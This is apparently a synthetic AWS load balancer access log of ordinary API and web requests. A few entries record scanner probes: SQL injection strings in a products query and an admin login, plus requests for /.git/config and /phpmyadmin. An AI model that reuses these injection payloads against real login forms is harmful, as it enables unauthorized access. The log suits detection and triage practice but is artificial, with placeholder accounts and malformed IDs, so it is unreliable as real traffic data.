TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccc9-cf3a7841a0584a09bef17a68" "prod-web-alb.example.com" "-" 1 2024-11-01T01:30:33.703252Z "forward" "-" "-" "10.0.172.196:443" "302" "-" "-" -https 2024-11-01T01:30:34.698428Z prod-api-alb 170.77.23.47:19614 10.0.21.73:443 0.000636 0.470523 0.093909 302 302 635 7401 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccca-676da43967c54cc19ba84b45" "prod-api-alb.example.com" "-" 3 2024-11-01T01:30:34.698428Z "forward" "-" "-" "10.0.21.73:443" "302" "-" "-" -https 2024-11-01T01:30:36.327052Z prod-api-alb 106.165.10.227:21425 10.0.53.27:443 0.024564 0.376869 0.027746 200 200 718 2517 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cccc-a508fabbc4aa4fcf83f67966" "prod-api-alb.example.com" "-" 3 2024-11-01T01:30:36.327052Z "forward" "-" "-" "10.0.53.27:443" "200" "-" "-" -https 2024-11-01T01:30:37.235180Z prod-api-alb 199.95.134.109:18182 10.0.77.46:443 0.058191 0.031938 0.022605 200 200 413 7835 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cccd-0831cc01404f49a5a638e37c" "prod-api-alb.example.com" "-" 2 2024-11-01T01:30:37.235180Z "forward" "-" "-" "10.0.77.46:443" "200" "-" "-" -http 2024-11-01T01:30:39.144560Z staging-alb 187.36.131.253:11343 72.239.65.119:8080 0.061456 0.433756 0.116995 200 200 212 2061 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cccf-136fa687ca4d4e13b96a866d" "staging-alb.example.com" "-" 8 2024-11-01T01:30:39.144560Z "forward" "-" "-" "72.239.65.119:8080" "200" "-" "-" -http 2024-11-01T01:30:39.291912Z staging-alb 63.64.105.22:39034 215.51.233.65:8080 0.026808 0.692027 0.107405 200 200 208 6906 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cccf-45bc6d0810f34c4e9ffb1fc2" "staging-alb.example.com" "-" 4 2024-11-01T01:30:39.291912Z "forward" "-" "-" "215.51.233.65:8080" "200" "-" "-" -https 2024-11-01T01:30:40.511627Z prod-api-alb 173.164.158.15:23520 10.0.77.223:443 0.092127 0.451960 0.092042 404 404 475 6449 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccd0-01db875efec241c586d24897" "prod-api-alb.example.com" "-" 10 2024-11-01T01:30:40.511627Z "forward" "-" "-" "10.0.77.223:443" "404" "-" "-" -http 2024-11-01T01:30:42.272172Z staging-alb 131.191.141.215:37104 165.74.207.132:443 0.021862 0.234883 0.033898 200 200 939 14676 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccd2-49a0c610fe614c1d9699f131" "staging-alb.example.com" "-" 2 2024-11-01T01:30:42.272172Z "forward" "-" "-" "165.74.207.132:443" "200" "-" "-" -https 2024-11-01T01:30:43.257044Z prod-api-alb 90.230.73.138:23331 10.0.77.113:443 0.002159 0.118673 0.050464 301 301 8 4292 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccd3-a3130286f78a4098ae0359b4" "prod-api-alb.example.com" "-" 9 2024-11-01T01:30:43.257044Z "forward" "-" "-" "10.0.77.113:443" "301" "-" "-" -https 2024-11-01T01:30:44.988954Z prod-web-alb 97.214.143.211:23895 10.0.125.195:443 0.034602 0.008489 0.074843 200 200 959 12340 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccd4-23a28f46190f4d1e841c382a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:30:44.988954Z "forward" "-" "-" "10.0.125.195:443" "200" "-" "-" -https 2024-11-01T01:30:46.545155Z prod-web-alb 192.19.25.12:64982 10.0.50.117:443 0.009533 0.152990 0.058906 200 200 998 5363 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccd6-4596fecc62944c60aafbf9eb" "prod-web-alb.example.com" "-" 2 2024-11-01T01:30:46.545155Z "forward" "-" "-" "10.0.50.117:443" "200" "-" "-" -https 2024-11-01T01:30:48.234964Z prod-api-alb 45.142.216.238:59092 10.0.14.110:443 0.080673 0.338243 0.006622 200 200 139 1672 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccd8-716275a5a1d6499ebd13f9f5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:30:48.234964Z "forward" "-" "-" "10.0.14.110:443" "200" "-" "-" -https 2024-11-01T01:30:50.209918Z prod-api-alb 127.129.35.197:15837 10.0.60.12:443 0.071516 0.190212 0.050489 301 301 872 6845 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccda-d9abade0284c4f0da4c9886f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:30:50.209918Z "forward" "-" "-" "10.0.60.12:443" "301" "-" "-" -https 2024-11-01T01:30:50.680502Z prod-web-alb 49.42.64.116:24250 10.0.162.110:443 0.019094 0.250815 0.083816 200 200 146 6815 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccda-f92a3fb916e847cfbda62c8a" "prod-web-alb.example.com" "-" 0 2024-11-01T01:30:50.680502Z "forward" "-" "-" "10.0.162.110:443" "200" "-" "-" -https 2024-11-01T01:30:52.199975Z prod-api-alb 137.171.159.128:51059 10.0.251.33:443 0.016518 0.154229 0.098644 301 301 513 13311 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccdc-483932eb7773414bb4e4fac6" "prod-api-alb.example.com" "-" 3 2024-11-01T01:30:52.199975Z "forward" "-" "-" "10.0.251.33:443" "301" "-" "-" -https 2024-11-01T01:30:52.912188Z staging-alb 183.124.26.209:19462 226.22.252.82:80 0.124538 0.313555 0.011318 302 302 938 8800 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccdc-86888f73015b4a03ab51a147" "staging-alb.example.com" "-" 4 2024-11-01T01:30:52.912188Z "forward" "-" "-" "226.22.252.82:80" "302" "-" "-" -http 2024-11-01T01:30:54.815616Z staging-alb 209.168.222.138:55325 15.151.220.177:80 0.121628 0.098272 0.140194 200 200 407 7912 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccde-6d283470900b44e8a9b5ba44" "staging-alb.example.com" "-" 1 2024-11-01T01:30:54.815616Z "forward" "-" "-" "15.151.220.177:80" "200" "-" "-" -https 2024-11-01T01:30:55.747665Z prod-api-alb 193.27.228.79:49309 10.0.118.22:443 0.048174 0.408439 0.073425 403 403 302 14350 "POST /.git/config HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccdf-788ab97bb22c414290736f40" "-" "-" 4 2024-11-01T01:30:55.747665Z "forward" "-" "-" "10.0.118.22:443" "403" "-" "-" -http 2024-11-01T01:30:56.362624Z staging-alb 23.177.77.149:43721 73.19.100.159:443 0.061554 0.293586 0.088188 200 200 177 8018 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cce0-81ef6cf3dfe84eb9ba35aa6e" "staging-alb.example.com" "-" 9 2024-11-01T01:30:56.362624Z "forward" "-" "-" "73.19.100.159:443" "200" "-" "-" -https 2024-11-01T01:30:57.949643Z prod-api-alb 112.216.109.220:43216 10.0.250.8:443 0.090525 0.302029 0.031425 404 404 719 12113 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cce1-d83a3b8199364a1aaac92a61" "prod-api-alb.example.com" "-" 4 2024-11-01T01:30:57.949643Z "forward" "-" "-" "10.0.250.8:443" "404" "-" "-" -https 2024-11-01T01:30:58.414597Z prod-web-alb 119.78.16.179:26034 10.0.2.116:443 0.052719 0.421330 0.069751 200 200 719 3961 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cce2-6c3eaec508f94024970c35ef" "prod-web-alb.example.com" "-" 7 2024-11-01T01:30:58.414597Z "forward" "-" "-" "10.0.2.116:443" "200" "-" "-" -http 2024-11-01T01:30:59.795063Z staging-alb 142.17.99.219:57913 161.247.62.182:80 0.020472 0.374584 0.116572 200 200 829 13313 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cce3-cfb1c7c325cb4c909079afd9" "staging-alb.example.com" "-" 1 2024-11-01T01:30:59.795063Z "forward" "-" "-" "161.247.62.182:80" "200" "-" "-" -https 2024-11-01T01:31:00.566381Z prod-api-alb 151.100.159.17:44726 10.0.92.29:443 0.023450 0.147651 0.096499 200 200 872 11654 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cce4-beec7c86ef1c4fcca56aca4c" "prod-api-alb.example.com" "-" 0 2024-11-01T01:31:00.566381Z "forward" "-" "-" "10.0.92.29:443" "200" "-" "-" -https 2024-11-01T01:31:02.519904Z staging-alb 240.59.96.177:48236 145.221.243.59:443 0.108704 0.148328 0.015258 302 302 7 12034 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cce6-e61d4666347f47dea386255c" "staging-alb.example.com" "-" 7 2024-11-01T01:31:02.519904Z "forward" "-" "-" "145.221.243.59:443" "302" "-" "-" -https 2024-11-01T01:31:03.012547Z prod-api-alb 51.169.241.177:16272 10.0.16.8:443 0.033087 0.229247 0.093440 301 301 367 3054 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cce7-5d3431f6a7db41d0ac9d266a" "prod-api-alb.example.com" "-" 7 2024-11-01T01:31:03.012547Z "forward" "-" "-" "10.0.16.8:443" "301" "-" "-" -http 2024-11-01T01:31:04.595924Z staging-alb 4.34.160.52:34496 177.241.222.171:443 0.024289 0.653525 0.024109 200 200 220 12386 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cce8-ef52e0573241417cb466585f" "staging-alb.example.com" "-" 4 2024-11-01T01:31:04.595924Z "forward" "-" "-" "177.241.222.171:443" "200" "-" "-" -https 2024-11-01T01:31:05.130427Z prod-web-alb 242.150.64.64:39834 10.0.11.216:443 0.029484 0.083460 0.068597 200 200 791 9591 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cce9-2b1de601854f4a75925d2c0f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:31:05.130427Z "forward" "-" "-" "10.0.11.216:443" "200" "-" "-" -https 2024-11-01T01:31:05.894442Z prod-api-alb 193.219.54.88:17880 10.0.123.41:443 0.064023 0.048618 0.055664 200 200 5 5962 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cce9-b07dc388278f42c394800172" "prod-api-alb.example.com" "-" 1 2024-11-01T01:31:05.894442Z "forward" "-" "-" "10.0.123.41:443" "200" "-" "-" -https 2024-11-01T01:31:07.723334Z prod-web-alb 193.27.228.131:43282 10.0.205.55:443 0.071197 0.013967 0.000677 500 500 6 4699 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cceb-4777dbb0606e4306a57a55a3" "-" "-" 9 2024-11-01T01:31:07.723334Z "forward" "-" "-" "10.0.205.55:443" "500" "-" "-" -https 2024-11-01T01:31:08.591031Z staging-alb 145.86.212.173:32499 241.128.118.88:80 0.035497 0.041785 0.100623 302 302 826 14350 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccec-6ae253bf9c6f48539c4028eb" "-" "-" 10 2024-11-01T01:31:08.591031Z "forward" "-" "-" "241.128.118.88:80" "302" "-" "-" -https 2024-11-01T01:31:09.636994Z prod-api-alb 139.61.54.146:47429 10.0.146.82:443 0.029690 0.015441 0.022345 200 200 940 8763 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cced-da0bb6684538445da9231f1d" "prod-api-alb.example.com" "-" 6 2024-11-01T01:31:09.636994Z "forward" "-" "-" "10.0.146.82:443" "200" "-" "-" -http 2024-11-01T01:31:10.740281Z staging-alb 130.242.140.136:61668 80.136.100.167:8080 0.143537 0.160202 0.026391 404 404 645 4254 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccee-f27b9aa7f2044e138b8d4eef" "staging-alb.example.com" "-" 10 2024-11-01T01:31:10.740281Z "forward" "-" "-" "80.136.100.167:8080" "404" "-" "-" -https 2024-11-01T01:31:12.064743Z prod-web-alb 154.10.86.77:18035 10.0.32.202:443 0.072642 0.290978 0.012565 200 200 18 12744 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf0-50c249eee8cb4588a4bac713" "prod-web-alb.example.com" "-" 9 2024-11-01T01:31:12.064743Z "forward" "-" "-" "10.0.32.202:443" "200" "-" "-" -http 2024-11-01T01:31:12.972292Z staging-alb 67.195.189.224:27105 96.45.86.204:443 0.085821 0.658586 0.042028 200 200 533 2733 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccf0-b11084a7f0ef43cab303c0bb" "staging-alb.example.com" "-" 2 2024-11-01T01:31:12.972292Z "forward" "-" "-" "96.45.86.204:443" "200" "-" "-" -https 2024-11-01T01:31:14.673861Z staging-alb 85.48.13.104:56085 30.70.144.239:80 0.085123 0.066900 0.014060 200 200 50 6948 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccf2-a1bd9efc18e849d2b9cf1b31" "staging-alb.example.com" "-" 0 2024-11-01T01:31:14.673861Z "forward" "-" "-" "30.70.144.239:80" "200" "-" "-" -https 2024-11-01T01:31:15.974987Z prod-web-alb 253.101.162.40:41415 10.0.136.21:443 0.035014 0.195962 0.018557 301 301 267 14630 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccf3-d69ed75c4df3428daae2618d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:31:15.974987Z "forward" "-" "-" "10.0.136.21:443" "301" "-" "-" -https 2024-11-01T01:31:17.042719Z prod-api-alb 246.32.236.17:54673 10.0.194.210:443 0.036564 0.402799 0.048537 200 200 986 6515 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccf5-4de2543a85674733b65a5f40" "prod-api-alb.example.com" "-" 3 2024-11-01T01:31:17.042719Z "forward" "-" "-" "10.0.194.210:443" "200" "-" "-" -https 2024-11-01T01:31:18.646785Z prod-web-alb 45.155.205.70:64515 10.0.20.132:443 0.045185 0.243879 0.041744 302 302 913 10177 "GET /phpmyadmin HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf6-2e14fdd8268d4c558fc1ffd1" "-" "-" 4 2024-11-01T01:31:18.646785Z "forward" "-" "-" "10.0.20.132:443" "302" "-" "-" -https 2024-11-01T01:31:19.542247Z prod-web-alb 236.42.110.58:21058 10.0.140.186:443 0.002540 0.487020 0.005394 200 200 570 9277 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf7-16345cce97b84f918235310c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:31:19.542247Z "forward" "-" "-" "10.0.140.186:443" "200" "-" "-" -https 2024-11-01T01:31:21.010587Z staging-alb 126.250.30.72:41108 230.183.201.115:443 0.061743 0.342915 0.043369 302 302 783 761 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccf9-1debeb266bc04286994b65df" "staging-alb.example.com" "-" 4 2024-11-01T01:31:21.010587Z "forward" "-" "-" "230.183.201.115:443" "302" "-" "-" -https 2024-11-01T01:31:21.190466Z prod-web-alb 185.181.95.188:43546 10.0.43.5:443 0.024042 0.340444 0.038450 500 500 105 7898 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccf9-d9606bc5be5c48809a2a1439" "-" "-" 0 2024-11-01T01:31:21.190466Z "forward" "-" "-" "10.0.43.5:443" "500" "-" "-" -https 2024-11-01T01:31:22.747958Z staging-alb 135.34.237.222:63271 144.50.246.204:8080 0.037058 0.296311 0.054632 404 404 751 13227 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccfa-6751c41866bd43479f7d17f6" "staging-alb.example.com" "-" 5 2024-11-01T01:31:22.747958Z "forward" "-" "-" "144.50.246.204:8080" "404" "-" "-" -https 2024-11-01T01:31:23.480849Z prod-api-alb 98.23.77.163:29269 10.0.91.84:443 0.014781 0.106014 0.091665 200 200 634 10978 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccfb-2f74df4ea5d74d7697d764e1" "prod-api-alb.example.com" "-" 4 2024-11-01T01:31:23.480849Z "forward" "-" "-" "10.0.91.84:443" "200" "-" "-" -https 2024-11-01T01:31:24.698121Z staging-alb 112.224.15.23:61537 85.203.90.213:443 0.147336 0.423732 0.022772 404 404 724 5532 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccfc-eb880c1a916a4be8899125bb" "-" "-" 0 2024-11-01T01:31:24.698121Z "forward" "-" "-" "85.203.90.213:443" "404" "-" "-" -https 2024-11-01T01:31:24.989449Z staging-alb 46.53.142.201:34903 49.233.86.16:80 0.018661 0.164673 0.020635 302 302 858 12001 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccfc-7baf63b669f94cb69a3ea57f" "staging-alb.example.com" "-" 10 2024-11-01T01:31:24.989449Z "forward" "-" "-" "49.233.86.16:80" "302" "-" "-" -https 2024-11-01T01:31:25.678058Z prod-web-alb 163.255.158.130:53894 10.0.101.15:443 0.081048 0.456786 0.079965 404 404 787 12363 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccfd-4b2fe4707e564c318e8e9d81" "prod-web-alb.example.com" "-" 7 2024-11-01T01:31:25.678058Z "forward" "-" "-" "10.0.101.15:443" "404" "-" "-" -https 2024-11-01T01:31:27.286816Z staging-alb 243.36.119.160:41904 135.124.241.66:80 0.098567 0.409976 0.027031 302 302 611 12419 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccff-611d781c2ae84c93aee71c7c" "staging-alb.example.com" "-" 9 2024-11-01T01:31:27.286816Z "forward" "-" "-" "135.124.241.66:80" "302" "-" "-" -https 2024-11-01T01:31:28.163781Z prod-api-alb 171.73.195.223:20823 10.0.204.180:443 0.066353 0.267969 0.061660 200 200 375 6447 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd00-2932d74277f64302a9ced4e6" "prod-api-alb.example.com" "-" 4 2024-11-01T01:31:28.163781Z "forward" "-" "-" "10.0.204.180:443" "200" "-" 